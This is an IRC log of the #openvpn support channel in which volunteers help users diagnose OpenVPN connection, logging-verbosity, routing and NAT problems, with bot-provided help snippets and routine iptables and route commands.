13:10 -!- mode/#openvpn [+o debbie10t_afk] by ChanServ
13:11 <@debbie10t_afk> ha custom time format was Y M d - H:m (It was always 11 months past the hour!)
13:14 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
13:16 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
13:25 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:39 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Write error: Connection reset by peer]
13:43 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
13:46 -!- kplong [~kplong@c-76-22-41-14.hsd1.wa.comcast.net] has joined #openvpn
13:55 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
13:56 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
14:00 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....]
14:00 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in]
14:01 -!- gffa [~unknown@unaffiliated/gffa] has quit [Ping timeout: 244 seconds]
14:01 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
14:05 -!- raidz [~raidz@192.95.18.60] has joined #openvpn
14:05 -!- raidz [~raidz@192.95.18.60] has quit [Changing host]
14:05 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
14:05 -!- mode/#openvpn [+o raidz] by ChanServ
14:11 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
14:11 -!- mode/#openvpn [+o mattock] by ChanServ
14:23 < Haigha> hi
14:23 < Haigha> "TLS Error: TLS key negotiation failed to occur within 60 seconds"
14:24 < Haigha> but i know the server is working
14:24 <+pekster> Haigha: That's usually a firewall issue, although you need logs from _both_ sides to see if the remote end is rejecting the connection for some reason
14:24 < Haigha> and on another screenshot, OpenVPN receive initial TLS packet
14:25 < Haigha> thanks, i'll check the server logs
14:25 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 246 seconds]
14:32 < Haigha> Options error: Unrecognized option or missing parameter(s) in /tmp/openvpn_cc_*.tmp:1: html (2.3.2)
14:32 < Haigha> he seems tobe the only one having this issue on the server
14:33 <+pekster> Sounds like a --client-connect script that spit out bad data
14:34 <+pekster> the `html` directive does not exist, so it'll induce a failure if you try to use it
14:38 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
14:39 < Haigha> looks like my API is broken
14:39 < Haigha> but it's still weird that it works for everyone else
14:41 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
14:43 -!- james41382 [~james@unaffiliated/james41382] has quit [Remote host closed the connection]
14:50 <+pekster> How it it weird? OpenVPN will refuse to process invalid directives; the solution is to not put invalid directives into --client-connect temporary option processing files
14:53 < Haigha> yeah. it is weird that my API send invalid directives instead of an empty response
14:53 -!- kplong [~kplong@c-76-22-41-14.hsd1.wa.comcast.net] has quit [Ping timeout: 246 seconds]
14:56 <@plaisthos> that sound like an html page instead of an error message
14:56 <@plaisthos> and like a config that begins with <html>
14:56 -!- klein [~klein@177.101.117.40] has joined #openvpn
14:56 -!- klein [~klein@177.101.117.40] has quit [Changing host]
14:56 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
14:57 < Haigha> plaisthos: exactly. a Pyramid update made my API send a "default" 200 page instead of an empty one :D
14:57 <@krzee> haha nice
15:11 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
15:13 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:14 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
15:15 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 252 seconds]
15:27 -!- mattock is now known as mattock_afk
15:28 -!- mback2k_ is now known as mback2k
15:29 -!- mback2k is now known as mback2k_
15:29 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:32 -!- dox [~dox@doxinho.com] has joined #openvpn
15:35 -!- dazo is now known as dazo_afk
15:37 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
15:49 -!- atmosx [~lnx@gentoo-el.org] has quit [Quit: leaving]
16:04 -!- debbie10t_afk [~ma1com10t@host-92-20-86-80.as13285.net] has left #openvpn []
16:11 -!- dandyd [~dandy@cpe-65-185-188-104.woh.res.rr.com] has joined #openvpn
16:14 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
16:14 -!- Denial [Denial@2.223.161.125] has quit []
16:18 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Ping timeout: 245 seconds]
16:18 -!- dandyd [~dandy@cpe-65-185-188-104.woh.res.rr.com] has quit [Ping timeout: 252 seconds]
16:19 -!- dandyd [~dandy@cpe-65-185-188-104.woh.res.rr.com] has joined #openvpn
16:27 -!- master_o1_master [~master_of@p4FF24FD0.dip0.t-ipconnect.de] has joined #openvpn
16:30 -!- master_of_master [~master_of@p4FD7B477.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
16:37 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Remote host closed the connection]
16:39 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
16:42 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
16:43 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
16:50 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....]
16:50 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in]
16:51 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
16:51 -!- mode/#openvpn [+o raidz] by ChanServ
16:51 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Remote host closed the connection]
16:52 -!- raidz_away [~raidz@raidz.im] has joined #openvpn
16:52 -!- raidz_away is now known as raidz
16:52 -!- raidz [~raidz@raidz.im] has quit [Changing host]
16:52 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
16:53 -!- mode/#openvpn [+o raidz] by ChanServ
17:02 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....]
17:02 -!- raidz_away [~raidz@raidz.im] has joined #openvpn
17:02 -!- raidz_away is now known as raidz
17:02 -!- raidz [~raidz@raidz.im] has quit [Changing host]
17:02 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
17:02 -!- mode/#openvpn [+o raidz] by ChanServ
17:07 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Ping timeout: 252 seconds]
17:09 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
17:17 -!- JackWinter_ [~jack@85.93.204.38] has joined #openvpn
17:19 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Ping timeout: 260 seconds]
17:35 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
17:48 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
18:01 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
18:05 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
18:12 < dimm0k> pekster: if you're still around, hopefully you remember me from yesterday!
18:13 < dimm0k> followed your suggestions for my openvpn server config and client config...
18:14 < dimm0k> still, the client cannot reach the server's LAN or vice versa
18:14 < dimm0k> using "iptables -t nat -A POSTROUTING -s 10.8.44.0/24 ! -d 10.8.44.0/24 -o eth0 -j MASQUERADE"
18:14 < dimm0k> that allows the client to reach the server's LAN
18:15 < dimm0k> however i still cannot reach the client from the server's LAN
18:20 -!- dox [~dox@doxinho.com] has left #openvpn ["doxin'"]
18:32 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:32 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
18:45 -!- GiBa [~GiBa@unaffiliated/giba] has joined #openvpn
18:45 < GiBa> hey
18:46 < GiBa> anyone else is getting ddos ? because i am
18:46 < GiBa> i never seen openvpn log this kind of shifting bits stuff
18:46 < GiBa> any idea?
18:51 -!- aegis [~aegis@184.75.212.34] has quit [K-Lined]
19:12 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Read error: Operation timed out]
19:28 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:29 < GiBa> Nov 12 01:29:03 xxxxxxx xxxxxxxx[3250]: hostname/xxx.xxx.xxx.xxx:58174 PID_ERR replay [0] [SSL-0] [0000000000000000000000000000000000000000000000000011111111111111] 0:102239 0:102239 t=1384219743[0] r=[-3,64,15,0,1] sl=[33,64,64,528]
19:29 < GiBa> TONS of those logs
19:32 <+pekster> What on earth is your verbosity?
19:33 < GiBa> que?
19:33 <+pekster> !verb
19:33 <@vpnHelper> "verb" is (#1) verb command is for setting log verbosity, see --verb in the manual (!man) for more info or (#2) verb 5 is good for finding firewall problems, verb 4 for troubleshooting anything else, and 3 is good for every day usage. or (#3) Anything more than 5 is for developer debugging only
19:34 < GiBa> can i increase it by telneting on the control socket ?
19:34 < GiBa> cause i cant kick everyone out
19:34 < GiBa> :(
19:35 <+pekster> increase? Those logs appear to be of debug verbosity, in which case you should _decrease_ it
19:35 <+pekster> Don't use anything higher than 4 for production use
19:36 <+pekster> If you're using --management you can issue the `verb` command to change it, yea
19:36 < GiBa> verb 4
19:36 < GiBa> it is already in 4
19:36 <+pekster> That message doesn't look like anything a verb 4 log spits out
19:37 < GiBa> im grepping, ill better pastebin other stuff aound
19:37 <+pekster> src/openvpn/packet_id.c:241:            packet_id_debug (D_PID_DEBUG_MEDIUM, p, pin, "PID_ERR replay", diff);
19:37 <+pekster> You're very clearly using debug verbosity
19:37 <+pekster> Stop using it
19:38 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 264 seconds]
19:38 <+pekster> Hmm, actually, hold on a sec
19:42 <+pekster> So that's a replay aparently; either the replay window needs to be raised or you can choose to ignore them by using verb 3
19:43 < GiBa> http://pastebin.com/8NY4s3KV
19:44 <+pekster> What exactly is the problem there?
19:44 <+pekster> The bad source address is a problem on your client side (it's the one sending bogus packets down the link)
19:48 -!- james41382 [~james@unaffiliated/james41382] has quit [Remote host closed the connection]
19:48 < GiBa> this never happened to us before (now there are like 10k concurrent users on all openvpn boxes ) , and because the log about the replay is so constant and increasing like in a pattern way , so i thought it could be some kind of directed attack
19:50 <+pekster> Could be
19:50 <+pekster> You can use --tls-auth as a "pre-tls" filter, but that won't solve replay packets of data-channel packets
19:51 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
19:51 <+pekster> I'd just suggest runnign verb 3 and ignoring them unless you have reason to care
19:51 < GiBa> we also got ddos, that why i increased
19:52 < GiBa> i was actually looking on how they ddos
19:52 < GiBa> we have 10 gigabit bandwidth so its not so easy task
19:53 <+pekster> If it's garbage bandwidth, you'd need to fix that upstream by working with your network provider
19:53 <+pekster> If it's an attack on the CPU (f.ex, by making bogus TLS connections fast enough to saturate your CPU) then your only choices are a more limited distribution --tls-auth file (anyone who has that can make auth attempts) or rate-limiting
19:56 < GiBa> we are using tls-auth already
19:59 < GiBa> well, i was looking at the logs for something intresting and i found this, but i cant really be sure that those ip address are the ones that generated the net saturation, i need to wait online for that and see what happens
20:04 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 244 seconds]
20:06 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
20:06 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
20:16 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has quit [Ping timeout: 245 seconds]
20:17 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has joined #openvpn
20:18 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has quit [Client Quit]
20:20 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has joined #openvpn
20:22 -!- jtholt [~jtholt@71-88-42-6.dhcp.nwtn.ct.charter.com] has joined #openvpn
20:22 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:23 < jtholt> I am hiving a problem with my openvpn config.. is there anyone here willing to help mw troubleshoot
20:23 < jtholt> me*
20:23 -!- s0meone [someone@2600:3c01::f03c:91ff:fedf:feb8] has quit [Quit: ZNC - http://znc.in]
20:29 < jtholt> Can anyone help me troubleshoot my openvpn configs
20:32 -!- s0meone [someone@2600:3c01::f03c:91ff:fedf:feb8] has joined #openvpn
20:32 <+pekster> !new
20:32 <@vpnHelper> "new" is New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto
20:33 -!- aji [~alex@atheme/member/aji] has quit [Remote host closed the connection]
20:36 -!- aji [~alex@atheme/member/aji] has joined #openvpn
20:36 < jtholt> !welcome
20:36 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
20:36 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
20:37 < jtholt> !ask
20:37 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
20:40 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-xbfjcbwyfavlfbjd] has quit [Quit: Connection closed for inactivity]
20:40 -!- GiBa [~GiBa@unaffiliated/giba] has quit [Quit: Leaving.]
20:42 < jtholt> ok  here goes.. I have OPENVPN running on pfsense   I configured openvpn on  80 UDP and it worked great.. when I changed to TCP I can connect from windows fine but the iphone starts to connects and drops.  Any ideas?
20:43 <+pekster> Don't use TCP unless you can't avoid it (see !tcp for details.) You'd need to look at logs, and the iPhone app isn't actually OpenVPN; it's a closed-source product called "Connect"
20:47 < jtholt> The firewall I have to go through is VERY restrictive TCP 80 or TCP 443 only. So far I have run my tests from an open firewall.   I have looked at the App logs and I cant make anything out of it
20:47 <+pekster> If you're connecting fine from a GPL OpenVPN client, you've either misconfigured the iPhone "Connect" product or there's a bug in it
20:48 < jtholt> I tend to agree.. but I cant for the life of me figure it out
20:50 -!- dox [~dox@doxinho.com] has joined #openvpn
21:05 < jtholt> here is the log off the iphone if you could look at it.   http://pastebin.com/7VzvjhiX
21:07 <+pekster> That's not an OpenVPN log; #openvpn offers community assistance with OpenVPN. Whatever Connect means by "DISCONNECTED" is your problem
21:07 <+pekster> Crystal ball says there was a failure connecting
21:08 <+pekster> If you see no packet received message on your server, the packet isn't even making it there. Why is anyone's guess
21:12 < jtholt> Its getting there.... Why I wont work.. I feer we may never know  http://pastebin.com/pWyJFsVM
21:12 < jtholt> (server log after connection)
21:13 < jtholt> fear
21:15 <+pekster> That's not so useful; logs of the entire connection at --verb 4 would be more helpful
21:15 <+pekster> Line 2 there means a TCP RST packet was received
21:15 <+pekster> Could be the far side peer or any one of a number of TCP issues that can cause that
21:18 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:22 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 252 seconds]
21:24 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:25 < mapps> hm
21:42 < jtholt> better logs... I hope
21:42 < jtholt> http://pastebin.com/sDWkiUxb
21:46 < jtholt> Client Config: http://pastebin.com/Z0BWYUXh
21:48 <+pekster> Yea, best you can figure from that is that a TCP reset packet arrived
21:48 <+pekster> The server "got a request on the TCP socket to terminate communication" and that's what it does
21:49 <+pekster> And again, if the GPL OpenVPN works fine, openvpn is obviously doing its job
21:49 < mapps> ah sheesh i remember
21:49 < mapps> !linat
21:49 <+pekster> Maybe the Connect app sucks or is broken or buggy or just doesn't work in this particular case. The community doesn't make it, and we are happy to ignore it
21:49 < mapps> !linnat
21:49 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -I POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
21:49 < mapps> !ipforward
21:49 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
21:50 < mapps> !linipforward
21:50 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
21:54 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Remote host closed the connection]
21:54 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
21:55 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
21:59 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Quit: Quit]
22:12 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has quit [Ping timeout: 272 seconds]
22:17 -!- dandyd [~dandy@cpe-65-185-188-104.woh.res.rr.com] has quit []
22:47 -!- Carbon_Monoxide [~cmonxide@14.0.143.192] has joined #openvpn
22:53 -!- aegis [~aegis@184.75.212.34] has joined #openvpn
23:08 < dimm0k> i've followed the directions under "Using routing and OpenVPN not running on the default gateway" at https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
23:08 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
23:08 < dimm0k> yet the computer behind the server LAN cannot ping the connected client
23:09 < dimm0k> client can ping that computer however
23:09 < dimm0k> server can ping that client
23:09 <+pekster> Firewall or NAT problem
23:10 <+pekster> Fix the firewalls involved
23:10 <+pekster> You shouldn't be using NAT if you control both the server LAN's gateway and the VPN server
23:11 < dimm0k> pekster: and if i don't have access to the server LAN's gateway?
23:12 <+pekster> Then either add the return route to the target system in the server-side LAN, or use NAT with the understanding that it's a hack and you are "hiding" anything behind the VPN server
23:12 <+pekster> The server can never ping the VPN network if you use NAT like that
23:13 <+pekster> Maybe you should be speaking with the people who own the network you're setting up a VPN server on?
23:15 < dimm0k> as diagram'd in this image, do i have the proper manual routes?  http://imgur.com/y5aAwS4
23:15 <@vpnHelper> Title: imgur: the simple image sharer (at imgur.com)
23:16 <+pekster> Since things are labeled poorly I have no idea
23:16 <+pekster> "LAN" defines a network. How do you "add routes to a network" ??
23:16 <+pekster> try actual routing output
23:16 <+pekster> !interface
23:16 <@vpnHelper> "interface" is (#1) paste interface configuration from both client and server, while being disconnected and when beeing connected. Be sure to also add the routing tables for both situations from client and from server or (#2) For Windows: iface: 'ipconfig /all' routing: 'route print' (add -4 or -6 for just IPv4 or v6) or (#3) For Unix: iface: 'ifconfig -a' routing: 'netstat -rn' or (#4) For Linux:
23:16 <@vpnHelper> iface: 'ip a' routing: 'ip r' (use ip -6 for IPv6 routes)
23:18 <+pekster> You should be doing the route addition on the server-side LAN's gateway, or failing that all the hosts you want to establish bi-directional traffic with
23:18 <+pekster> It's all explained here:
23:18 <+pekster> !serverlan
23:18 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
23:18 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
23:18 <+pekster> I'm pretty sure you've been given that link at least a half-dozen times
23:18 <+pekster> Is there a problem following it?
23:19 < dimm0k> pekster: no...  i get to the bottom, "add a route to the lan machine..."
23:19 <+pekster> Okay, have you done that?
23:21 < dimm0k> yes, i have.
23:21 <+pekster> And you have no more NAT involved?
23:21 < dimm0k> oh wait, this was for the problem i had yesterday, which i resolved
23:22 < dimm0k> my problem is a machine on the server's LAN can't ping the connecting client
23:22 <+pekster> And with that NAT junk you posted that will _NOT_ work. For the 2nd time
23:22 <+pekster> Stop using NAT. NAT hides networks. Networks hidden behind NAT cannot be reached. There is no routing path to a network behind a NAT
23:24 < dimm0k> without the NAT on the server, the client can't ping the server's LAN...  hence that's why i added it
23:24 <+pekster> What you need is to learn basic networking
23:24 <+pekster> You **CANNOT** have your server-side PC reach your VPN client if you hide the VPN network behind NAT
23:25 <+pekster> You'll be ale to ping things in the server's LAN if it has a return route
23:25 <+pekster> You should do this on the LAN gateway, or on every (I mean _every_) device you're trying to reach
23:26 <+pekster> That's how basic routing works: you need a valid path to reach things
23:29 < dimm0k> i get that it needs a valid path...  i'm just stuck on what points to use to create that valid path
23:30 < dandy> How about this "TLS Error: cannot locate HMAC in incoming packet" its has to be a config error but google and me trying all sorts of options doesnt help. Common issue?
23:32 < dimm0k> pekster: on the connecting windows client, i have "route add 192.168.4.0 mask 255.255.255.0 10.8.44.1" where 192.168.4.0 is the server LAN and 10.8.44.1 is the server's vpn ip
23:33 <+pekster> That's unnecessary and should be pushed from the openvpn server
23:33 <+pekster> That what step 2 on the flowchart is for
23:33 <+pekster> THe route you need to add is on the _SERVER_ side network PC (assuming you can't put it on the server LAN's gateway, where it really belongs)
23:34 < dimm0k> on the machine behind the vpn server's LAN, i have "ip route add 10.8.44.0/24 via 192.168.4.14" where 192.168.4.14 is the LAN ip of the server
23:34 <+pekster> Then assuming your routing a firewalls are properly configured, that will work
23:34 <+pekster> Rip out any NAT you've added becuase that will break this
23:40 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 246 seconds]
23:42 < dandy> pekster: if you have time... You seem on top of your shit. and im beating my head on my desk. http://pastie.org/8473754
23:44 <+pekster> Next time don't use any verb levels above 5 (they're developer debug levels and do nothing but pollute logs unless you have a debug build)
23:44 < dandy> I can ping the tun interface on the server from clients in the lan. so i dunno i thought it might be a routing issue but i can talk to 172.24.4.1
23:45 < dandy> ill change that now
23:45 <+pekster> No huge deal as it stands, just for future reference
23:45 <+pekster> What's the issue? You've got an HMAC failure, but it's possible that's just a transient error somewhere if you don't have connection problems
23:45 <+pekster> !goal
23:45 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
23:47 < dandy> umm. i am setting up a roadwarrior type set up. i am setting up a routed connection to  access my lan from the outside aswell as route all client traffic through it.
23:47 <+pekster> If you're routing all client traffic through, you'll get the server-side LAN access with that
23:48 <+pekster> Once you hvae a connection that works and lets you ping the server from your VPN client, follow:
23:48 <+pekster> !redirect
23:48 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
23:48 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
23:54 < dandy> all it does is fail to connect
23:54 <+pekster> Then you have a more basic problem
23:54 < dandy> i agree
23:54 <+pekster> !logs
23:55 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
23:55 <+pekster> Both a verb 4, and it's ideal to use something like gist.github.com so they're both posted in a single URL
23:55 < dimm0k> pekster: removed the NAT line on the server...  still no change.  client can't see the server's LAN and vice versa
23:55 <+pekster> Traceroute? tcpdump? Verify your firewalls?
23:55 <+pekster> Common
23:56 <+pekster> Do you have any idea how networkign works? You seem to get stuck at _very_ step here
23:56 <+pekster> Use the flowchart FFS
23:56 <+pekster> You finally got rid of NAT, so you need to start _completely_ over on the chart and verify every step is set up properly
23:58 <+pekster> This might be a good place to start: http://catb.org/~esr/faqs/smart-questions.html#lesser
23:58 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
23:59 <+pekster> Rather then whine "it still doesn't work" try something more productive, like "I think I've now removed all NAT on the traffic, but now when I use the flowchart I get stuck at XX after doing YY. I see the connection do ZZ but don't know what that means"
--- Day changed Tue Nov 12 2013
00:02 < dandy> https://gist.github.com/dandyd449/d795d8665a53db02f277
00:02 <@vpnHelper> Title: Client Log (at gist.github.com)
00:04 <+pekster> dandy: Your server isn't receiving any connections; whatever your client is connecting to is a different system or openvpn instance
00:09 < dandy> i dont see how tho...
00:09 < dandy> err wait a second...
00:12 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
00:13 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has quit [Ping timeout: 245 seconds]
00:13 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-uexfwipfwpykfden] has quit [Ping timeout: 245 seconds]
00:13 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection]
00:14 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
00:14 -!- mode/#openvpn [+o vpnHelper] by ChanServ
00:15 -!- akurilin [~akurilin@208.185.21.146] has quit [Quit: Leaving]
00:16 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 245 seconds]
00:16 -!- Haigha [~root@dovahkiin.xomg.net] has quit [Ping timeout: 245 seconds]
00:17 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
00:18 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has quit [Quit: The Nightmares will collide. And become a Dream. <3]
00:18 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has joined #openvpn
00:18 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-zoijetxkeebzqlib] has joined #openvpn
00:19 < dandy> nope didnt help. thought i would enable promiscuous mode on the vswitch
00:20 <+pekster> Your packets aren't showing up on your server (the server prints an 'initial packet received from ...' line when clients send a first-packet)
00:20 <+pekster> Dunno if you put the wrong IP in your client or if your packets are going somewhere else due to NAT or something, but they're not going to the server for which you pasted logs
00:20 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn
00:20 <+pekster> The timestamps are also oddly off
00:20 <+pekster> Nov 11 21:33 vs Nov 12 00:57
00:21 <+pekster> Did you not provide your _actual_ logs? Or are your clocks really off by a good amount?
00:21 < dandy> yes those were logs i just generated... hmm
00:21 <+pekster> I get timezones could be off if 1 is UTC, but the minutes don't even match
00:22 < dandy> ohh... maybe how i was logging was off... i just piped to a file... and that didnt work for some reason
00:22 <+pekster> !logfile
00:22 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
00:25 -!- Carbon_Monoxide [~cmonxide@14.0.143.192] has left #openvpn ["Leaving"]
00:30 < dandy> same exact output except the timestamps are the same
00:31 <+pekster> Then your problem is the same. Your client is clealry connecting somewhere, just not the server with that log output
00:31 <+pekster> Either 172.24.3.1 isn't the server, or you've redirected it
00:31 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:33 < dandy> it is i can ssh to it
00:33 < dandy> im just gonna have to go to sleep and look again with fresh eyes.
00:33 < dandy> thanks for your help
00:58 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
00:59 < mapps> yo
00:59 < mapps> what up
01:03 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
01:11 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
01:11 -!- mode/#openvpn [+o mattock] by ChanServ
01:12 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
01:25 < dandy> !nat
01:25 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
01:38 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
01:47 -!- Denial [Denial@2.223.161.125] has joined #openvpn
